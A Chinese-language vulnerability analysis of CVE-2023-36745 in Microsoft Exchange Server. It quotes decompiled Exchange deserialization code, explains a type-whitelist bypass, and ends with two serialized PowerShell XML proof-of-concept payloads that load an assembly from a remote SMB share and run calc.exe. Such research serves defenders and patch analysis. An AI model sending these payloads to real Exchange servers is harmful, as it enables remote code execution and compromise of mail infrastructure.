前言
CVE-2023-36745是CVE-2022-41082的变体。
自从去年Trend Micro Zero Day Initiative 发布CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND 后,就陆续爆出Microsoft Exchange Server PowerShell端点的反序列化漏洞绕过,如CVE-2023-21707 以及Hexacon 2023上chudyPB 演示的CVE-2023-32031。
懒得写CVE-2023-21707和CVE-2023-32031了。
CVE-2023-36745 CVE-2023-36745是通过Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
这个类进行绕过的,Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
类的单参数构造函数会调用Assembly.LoadFrom
加载程序集。
1 2 3 4 5 6 7 8 9 10 11 public SharedTypeResolver (string assemblyLoadPath = null ){ if (string .IsNullOrEmpty(assemblyLoadPath)) { assemblyLoadPath = ExchangeSetupContext.BinPath; } this .fusePaxosAsm = Assembly.LoadFrom(Path.Combine(assemblyLoadPath, "FUSE.Paxos.dll" )); this .typeCache = new ConcurrentDictionary<string , Type>(); this .typeNameCache = new ConcurrentDictionary<string , string >(); this .typeNameSpaceCache = new ConcurrentDictionary<string , string >(); }
而Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
的LoadType
方法会从当前应用程序上下文中的程序集中加载类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 public static Type LoadType (string assemblyName, string typeName, bool throwExceptionForMissingType, DeserializeLocation location, bool strictMode ){ Type type = null ; try { type = Type.GetType(string .Format("{0}, {1}" , typeName, assemblyName)); } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null ) { string shortName = assemblyName.Split(new char [] { ',' })[0 ]; try { type = Type.GetType(string .Format("{0}, {1}" , typeName, shortName)); } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null ) { Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); IEnumerable<Assembly> enumerable = assemblies.Where((Assembly x) => shortName == x.FullName.Split(new char [] { ',' })[0 ]); Assembly assembly = (enumerable.Any<Assembly>() ? enumerable.First<Assembly>() : null ); try { if (assembly != null ) { type = assembly.GetType(typeName); } } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null ) { foreach (Assembly assembly2 in assemblies) { try { type = assembly2.GetType(typeName); if (type != null ) { break ; } } catch { } } if (type == null ) { try { type = ChainedSerializationBinder.ParseAndLoadGenericType(assemblyName, typeName, location, strictMode); } catch { } } } } } if (type == null ) { DeserializationTypeLogger.Singleton.Log(typeName, BlockReason.InDeny, location, strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); if (throwExceptionForMissingType) { throw new BlockedDeserializeTypeException(typeName + ", " + assemblyName, BlockReason.InDeny, location); } } return type; }
那么先利用反序列化类型转换调用Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
的单参数构造函数加载自定义程序集引入恶意类,再利用反序列化类型转换调用恶意类的单参数构造函数就可以实现RCE。
Starting with .NET Framework 4, the ability to execute code in assemblies loaded from remote locations is disabled by default, and the call to the LoadFrom
method throws a FileLoadException .
从.NET Framework 4开始,Assembly.LoadFrom
就不支持从远程加载程序集了,但是好在还可以通过SMB共享加载其他机器上的程序集。
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
在默认strictMode
下只允许反序列化白名单中的类,因此需要结合CVE-2023-21529
利用范型类Microsoft.Exchange.Data.MultiValuedProperty
绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 public override Type BindToType (string assemblyName, string typeName ){ if (this .serializationOnly) { throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only. This instance cannot be used for deserialization." ); } Type type = this .InternalBindToType(assemblyName, typeName); if (type != null ) { string text; BlockReason blockReason = this .ValidateTypeToDeserialize(type, null , null , out text); this .EnforceBlockReason(blockReason, text); } else { BlockReason blockReason2 = this .EvaluateTypeStringAgainstDenyLists(typeName); this .EnforceBlockReason(blockReason2, typeName); } return type; } public BlockReason ValidateTypeToDeserialize (Type typeToDeserialize, ISet<string > additionalAllowedTypes, ISet<string > additionalAllowedGenerics, out string correctedTypeName ){ ChainedSerializationBinder.IsTypeExplicitlyDenied(typeToDeserialize, this .location, out correctedTypeName); if (!this .IsTypeExplicitlyAllowed(typeToDeserialize, additionalAllowedTypes, additionalAllowedGenerics, out correctedTypeName)) { return BlockReason.NotInAllow; } return BlockReason.Allowed; } public bool IsTypeExplicitlyAllowed (Type typeToDeserialize, ISet<string > additionalAllowedTypes, ISet<string > additionalAllowedGenerics, out string correctedTypeName ){ if (typeToDeserialize == null ) { correctedTypeName = "<NULL>" ; return true ; } correctedTypeName = typeToDeserialize.FullName; if (typeToDeserialize.IsConstructedGenericType || typeToDeserialize.IsGenericTypeDefinition) { correctedTypeName = typeToDeserialize.GetGenericTypeDefinition().FullName; if (ChainedSerializationBinder.AlwaysAllowedGenerics.Contains(correctedTypeName) || (this .allowedGenericsForDeserialization != null && this .allowedGenericsForDeserialization.Contains(correctedTypeName)) || (additionalAllowedGenerics != null && additionalAllowedGenerics.Contains(correctedTypeName))) { return true ; } } else if (ChainedSerializationBinder.AlwaysAllowedPrimitives.Contains(correctedTypeName) || (this .allowedTypesForDeserialization != null && this .allowedTypesForDeserialization.Contains(correctedTypeName)) || (additionalAllowedTypes != null && additionalAllowedTypes.Contains(correctedTypeName))) { return true ; } return typeToDeserialize.IsArray || typeToDeserialize.IsEnum || typeToDeserialize.IsAbstract || typeToDeserialize.IsInterface; } public void EnforceBlockReason (BlockReason blockReason, string typeName ){ try { switch (blockReason) { case BlockReason.Invalid: case BlockReason.InDeny: case BlockReason.InDenySurrogate: throw new BlockedDeserializeTypeException(typeName, blockReason, this .location); case BlockReason.NotInAllow: if (this .strictMode) { throw new BlockedDeserializeTypeException(typeName, blockReason, this .location); } break ; } } finally { if (blockReason != BlockReason.Allowed) { DeserializationTypeLogger.Singleton.Log(typeName, blockReason, this .location, this .strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); } } }
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <Obj RefId ="13" > <MS > <S N ="N" > -Identity:</S > <Obj N ="V" RefId ="14" > <TN RefId ="2" > <T > Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T > <T > System.Object</T > </TN > <ToString > Object</ToString > <Props > <S N ="Name" > Type</S > <Obj N ="TargetTypeForDeserialization" > <TN RefId ="2" > <T > System.Exception</T > <T > System.Object</T > </TN > <MS > <BA N ="SerializationData" > AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAADZAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbTWljcm9zb2Z0LkV4Y2hhbmdlLkR4U3RvcmUuQ29tbW9uLkR4U2VyaWFsaXphdGlvblV0aWwrU2hhcmVkVHlwZVJlc29sdmVyLCBNaWNyb3NvZnQuRXhjaGFuZ2UuRHhTdG9yZSwgVmVyc2lvbj0xNS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1XV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA > </MS > </Obj > </Props > <S > \\192.168.237.131\Shares\</S > </Obj > </MS > </Obj >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <Obj RefId ="13" > <MS > <S N ="N" > -Identity:</S > <Obj N ="V" RefId ="14" > <TN RefId ="2" > <T > Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T > <T > System.Object</T > </TN > <ToString > Object</ToString > <Props > <S N ="Name" > Type</S > <Obj N ="TargetTypeForDeserialization" > <TN RefId ="2" > <T > System.Exception</T > <T > System.Object</T > </TN > <MS > <BA N ="SerializationData" > AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAACFAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbRlVTRS5QYXhvcy5DbGFzczEsIEZVU0UuUGF4b3MsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsXV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA > </MS > </Obj > </Props > <S > calc.exe</S > </Obj > </MS > </Obj >
调用堆栈:
Exp:CVE-2023-36745